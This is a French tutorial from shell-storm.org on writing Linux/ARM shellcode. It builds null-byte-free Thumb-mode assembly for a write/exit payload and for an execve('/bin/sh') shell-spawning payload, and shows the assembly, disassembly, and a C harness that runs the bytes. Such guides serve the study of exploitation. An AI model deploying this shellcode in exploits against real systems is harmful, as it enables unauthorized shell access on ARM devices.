Title: How to create a shellcode on ARM architecture ?
Author: Jonathan Salwan <submit ! shell-storm.org>
Web: http://www.shell-storm.org/ | http://twitter.com/jonathansalwan
Date: 2010-06-30
Language: French
Original version: http://howto.shell-storm.org/files/howto-4.php
I - Présentation de l'architecture ARM
======================================
L'architecture ARM était initialement destinée à un ordinateur de la société Acorn,
puis elle a été complétée pour devenir une offre indépendante pour le marché de
l'électronique embarquée. ARM est l'acronyme de Advanced Risc Machine, précédemment
Acorn Risc Machine.
Le coeur le plus célèbre est l'ARM7TDMI qui comporte 3 niveaux de pipeline. De plus,
le ARM7TDMI dispose d'un second jeu d'instructions appelé THUMB permettant le
codage d'instructions sur 16 bits et, ainsi, de réaliser un gain de mémoire important,
notamment pour les applications embarquées. L'architecture ARM est également très
répandue dans la téléphonie mobile. De nombreux systèmes sont portés sur cette
architecture. À savoir Linux (qu'utilise notamment Maemo avec le N900 ou Android avec
le Nexus One), Symbian S60 avec les Nokia N97 ou Samsung Player HD, iPhone OS avec
l'iPhone et l'iPad, et Windows Mobile.
ARM Ltd a ensuite développé le coeur ARM9 qui comporte 5 niveaux de pipeline. Cela permet
ainsi la réduction du nombre d'opérations logiques sur chaque cycle d'horloge et donc une
amélioration des performances en vitesse.
II - Première approche d'un shellcode sous Linux/ARM
====================================================
Tout au long du document, nos tests seront effectués sur un processeur ARM926EJ-S.
Pour commencer, jetons un coup d'oeil sur la convention des registres.
Register Alt. Name Usage
r0 a1 First function argument Integer function result Scratch register
r1 a2 Second function argument Scratch register
r2 a3 Third function argument Scratch register
r3 a4 Fourth function argument Scratch register
r4 v1 Register variable
r5 v2 Register variable
r6 v3 Register variable
r7 v4 Register variable
r8 v5 Register variable
r9 v6
rfp Register variable Real frame pointer
r10 sl Stack limit
r11 fp Argument pointer
r12 ip Temporary workspace
r13 sp Stack pointer
r14 lr Link register Workspace
r15 pc Program counter
Donc les registres r0 à r3 seront destinés aux arguments placés dans nos fonctions.
Les registres r4 à r9 seront utilisés pour des variables diverses.
Cependant r7 est utilisé pour stocker l'adresse du syscall à exécuter.
r13 est le registre qui pointe sur la stack et r15 celui qui pointe sur la prochaine
adresse à exécuter.
Ces deux registres pourraient être comparés aux registres ESP et EIP sous x86, malgré
que l'exécution des registres entre x86 et ARM soit très différente.
Commençons par écrire un shellcode qui va appeler le syscall _write puis ensuite
_exit.
Pour commencer nous devons connaître l'adresse des syscall.
Pour cela, comme d'habitude :
root@ARM9:~# cat /usr/include/asm/unistd.h | grep write
#define __NR_write (__NR_SYSCALL_BASE+ 4)
#define __NR_writev (__NR_SYSCALL_BASE+146)
#define __NR_pwrite64 (__NR_SYSCALL_BASE+181)
#define __NR_pciconfig_write (__NR_SYSCALL_BASE+273)
root@ARM9:~# cat /usr/include/asm/unistd.h | grep exit
#define __NR_exit (__NR_SYSCALL_BASE+ 1)
#define __NR_exit_group (__NR_SYSCALL_BASE+248)
Ok, donc 4 pour _write et 1 pour _exit
Bilan :
On sait que la fonction write utilise 3 arguments: write(int __fd, __const void *__buf, size_t __n)
Donc, nous avons :
r0 => 1 (output)
r1 => shell-storm.org\n (string)
r2 => 16 (strlen(string))
r7 => 4 (syscall)
r0 => 0
r7 => 1
Voici ce que cela donne en asm:
root@ARM9:/home/jonathan/shellcode/write# cat write.s
.section .text
.global _start
_start:
# _write()
mov r2, #16
mov r1, pc <= r1 = pc
add r1, #24 <= r1 = pc + 24 (ce qui va pointer sur notre string)
mov r0, $0x1
mov r7, $0x4
svc 0
# _exit()
sub r0, r0, r0
mov r7, $0x1
svc 0
.ascii "shell-storm.org\n"
root@ARM9:/home/jonathan/shellcode/write# as -o write.o write.s
root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
root@ARM9:/home/jonathan/shellcode/write# ./write
shell-storm.org
root@ARM9:/home/jonathan/shellcode/write#
root@ARM9:/home/jonathan/shellcode/write# strace ./write
execve("./write", ["./write"], [/* 17 vars */]) = 0
write(1, "shell-storm.org\n"..., 16shell-storm.org
) = 16
exit(0)
Jusqu'à maintenant, tout fonctionne correctement, cependant pour créer notre shellcode
nous ne devons pas utiliser de null bytes, et notre code en est pourtant blindé.
root@ARM9:/home/jonathan/shellcode/write# objdump -d write
write: file format elf32-littlearm
Disassembly of section .text:
00008054 <_start>:
8054: e3a02010 mov r2, #16 ; 0x10
8058: e1a0100f mov r1, pc
805c: e2811018 add r1, r1, #24
8060: e3a00001 mov r0, #1 ; 0x1
8064: e3a07004 mov r7, #4 ; 0x4
8068: ef000000 svc 0x00000000
806c: e0400000 sub r0, r0, r0
8070: e3a07001 mov r7, #1 ; 0x1
8074: ef000000 svc 0x00000000
8078: 6c656873 stclvs 8, cr6, [r5], #-460
807c: 74732d6c ldrbtvc r2, [r3], #-3436
8080: 2e6d726f cdpcs 2, 6, cr7, cr13, cr15, {3}
8084: 0a67726f beq 19e4a48 <__data_start+0x19d49c0>
En ARM, il existe un mode appelé "Thumb Mode" qui permet de ramener toutes les instructions sur 16 bits
au lieu de 32, ce qui va nous faciliter la vie.
root@ARM9:/home/jonathan/shellcode/write# cat write.s
.section .text
.global _start
_start:
.code 32
# Thumb-Mode on
add r6, pc, #1
bx r6
.code 16
# _write()
mov r2, #16
mov r1, pc
add r1, #12
mov r0, $0x1
mov r7, $0x4
svc 0
# _exit()
sub r0, r0, r0
mov r7, $0x1
svc 0
.ascii "shell-storm.org\n"
root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s
root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
root@ARM9:/home/jonathan/shellcode/write# ./write
shell-storm.org
Pour la compilation, il faut utiliser "-mthumb" pour bien indiquer qu'on passe en "thumb mode".
Si vous regardez bien, dans le code asm, j'ai changé la valeur de r1 sur l'instruction add
au lieu d'avoir fait un "add r1, #24" , j'ai fais un "add r1, #12" car je suis passé en "thumb mode".
Du coup, l'adresse où est situé ma chaine est divisée par 2.
Regardons ce que cela donne au niveau des null bytes:
root@ARM9:/home/jonathan/shellcode/write# objdump -d write
write: file format elf32-littlearm
Disassembly of section .text:
00008054 <_start>:
8054: e28f6001 add r6, pc, #1
8058: e12fff16 bx r6
805c: 2210 movs r2, #16
805e: 4679 mov r1, pc
8060: 310c adds r1, #12
8062: 2001 movs r0, #1
8064: 2704 movs r7, #4
8066: df00 svc 0
8068: 1a00 subs r0, r0, r0
806a: 2701 movs r7, #1
806c: df00 svc 0
806e: 6873 ldr r3, [r6, #4]
8070: 6c65 ldr r5, [r4, #68]
8072: 2d6c cmp r5, #108
8074: 7473 strb r3, [r6, #17]
8076: 726f strb r7, [r5, #9]
8078: 2e6d cmp r6, #109
807a: 726f strb r7, [r5, #9]
807c: 0a67 lsrs r7, r4, #9
C'est déjà un peu plus propre...
Il nous reste plus qu'à modifier l'instruction "svc 0" et "sub r0, r0, r0"
Pour SVC nous allons utiliser "svc 1" qui fonctionne parfaitement.
Pour "sub r0, r0, r0" le but est de placer 0 dans le registre r0, nous ne pouvons
pas faire un "mov r0, #0" car il contiendra aussi un null bytes.
Le seul moyen que j'ai trouvé est de faire un:
sub r4, r4, r4
mov r0, r4
Voici ce que cela donne:
root@ARM9:/home/jonathan/shellcode/write# cat write.s
.section .text
.global _start
_start:
.code 32
# Thumb-Mode on
add r6, pc, #1
bx r6
.code 16
# _write()
mov r2, #16
mov r1, pc
add r1, #14 <==== Nous avons encore changé l'adresse, car dans exit() nous avons rajouté
mov r0, $0x1 des lignes d'instructions, donc cela décale la string.
mov r7, $0x4
svc 1
# _exit()
sub r4, r4, r4
mov r0, r4
mov r7, $0x1
svc 1
.ascii "shell-storm.org\n"
root@ARM9:/home/jonathan/shellcode/write# as -mthumb -o write.o write.s
root@ARM9:/home/jonathan/shellcode/write# ld -o write write.o
root@ARM9:/home/jonathan/shellcode/write# ./write
shell-storm.org
root@ARM9:/home/jonathan/shellcode/write# strace ./write
execve("./write", ["./write"], [/* 17 vars */]) = 0
write(1, "shell-storm.org\n"..., 16shell-storm.org
) = 16
exit(0) = ?
root@ARM9:/home/jonathan/shellcode/write# objdump -d write
write: file format elf32-littlearm
Disassembly of section .text:
00008054 <_start>:
8054: e28f6001 add r6, pc, #1 ; 0x1
8058: e12fff16 bx r6
805c: 2210 movs r2, #16
805e: 4679 mov r1, pc
8060: 310e adds r1, #14
8062: 2001 movs r0, #1
8064: 2704 movs r7, #4
8066: df01 svc 1
8068: 1b24 subs r4, r4, r4
806a: 1c20 adds r0, r4, #0
806c: 2701 movs r7, #1
806e: df01 svc 1
8070: 6873 ldr r3, [r6, #4]
8072: 6c65 ldr r5, [r4, #68]
8074: 2d6c cmp r5, #108
8076: 7473 strb r3, [r6, #17]
8078: 726f strb r7, [r5, #9]
807a: 2e6d cmp r6, #109
807c: 726f strb r7, [r5, #9]
807e: 0a67 lsrs r7, r4, #9
Et bien voilà, nous avons un shellcode opérationnel sans aucun null bytes
En C, cela donne:
root@ARM9:/home/jonathan/shellcode/write/C# cat write.c
#include <stdio.h>
char *SC = "\x01\x60\x8f\xe2"
"\x16\xff\x2f\xe1"
"\x10\x22"
"\x79\x46"
"\x0e\x31"
"\x01\x20"
"\x04\x27"
"\x01\xdf"
"\x24\x1b"
"\x20\x1c"
"\x01\x27"
"\x01\xdf"
"\x73\x68"
"\x65\x6c"
"\x6c\x2d"
"\x73\x74"
"\x6f\x72"
"\x6d\x2e"
"\x6f\x72"
"\x67\x0a";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
return 0;
}
root@ARM9:/home/jonathan/shellcode/write/C# gcc -o write write.c
write.c: In function 'main':
write.c:28: warning: incompatible implicit declaration of built-in function 'strlen'
root@ARM9:/home/jonathan/shellcode/write/C# ./write
Length: 44
shell-storm.org
III - execv("/bin/sh", "/bin/sh", 0)
====================================
Maintenant, étudions un shellcode qui appelle execve()
La structure du code devrait avoir cette forme:
r0 => "//bin/sh"
r1 => "//bin/sh"
r2 => 0
r7 => 11
root@ARM9:/home/jonathan/shellcode/shell# cat shell.s
.section .text
.global _start
_start:
.code 32 //
add r3, pc, #1 // Toute cette section est pour le "Thumb Mode"
bx r3 //
.code 16 //
mov r0, pc // On place l'adresse de pc dans r0
add r0, #10 // et on y rajoute + 10 (qui va donc pointer sur //bin/sh)
str r0, [sp, #4] // ensuite on place cela sur la stack (pour le cas où on doit le réutiliser)
add r1, sp, #4 // on reprend ce qu'on à placer sur la stack pour le mettre dans r1
sub r2, r2, r2 // ou soustrait r2 par lui même (ce qui revient à mettre 0 dans r2)
mov r7, #11 // syscall execve dans r7
svc 1 // on exécute
.ascii "//bin/sh"
root@ARM9:/home/jonathan/shellcode/shell# as -mthumb -o shell.o shell.s
root@ARM9:/home/jonathan/shellcode/shell# ld -o shell shell.o
root@ARM9:/home/jonathan/shellcode/shell# ./shell
# exit
root@ARM9:/home/jonathan/shellcode/shell#
On peut même vérifier que le shellcode ne contient aucun null bytes.
8054: e28f3001 add r3, pc, #1
8058: e12fff13 bx r3
805c: 4678 mov r0, pc
805e: 300a adds r0, #10
8060: 9001 str r0, [sp, #4]
8062: a901 add r1, sp, #4
8064: 1a92 subs r2, r2, r2
8066: 270b movs r7, #11
8068: df01 svc 1
806a: 2f2f cmp r7, #47
806c: 6962 ldr r2, [r4, #20]
806e: 2f6e cmp r7, #110
8070: 6873 ldr r3, [r6, #4]
Et voilà, c'est la fin de ce "howto", pour retrouver des shellcodes sous ARM
voir le lien suivant: http://www.shell-storm.org/search/index.php?shellcode=arm
IV - Références
===============
[x] http://www.shell-storm.org
[1] http://fr.wikipedia.org/wiki/Architecture_ARM
[2] http://nibbles.tuxfamily.org/?p=620
[3] The ARM Instruction Set (http://www.shell-storm.org/papers/files/664.pdf)
[4] ARM Addressing Modes Quick Reference Card (http://www.shell-storm.org/papers/files/663.pdf)
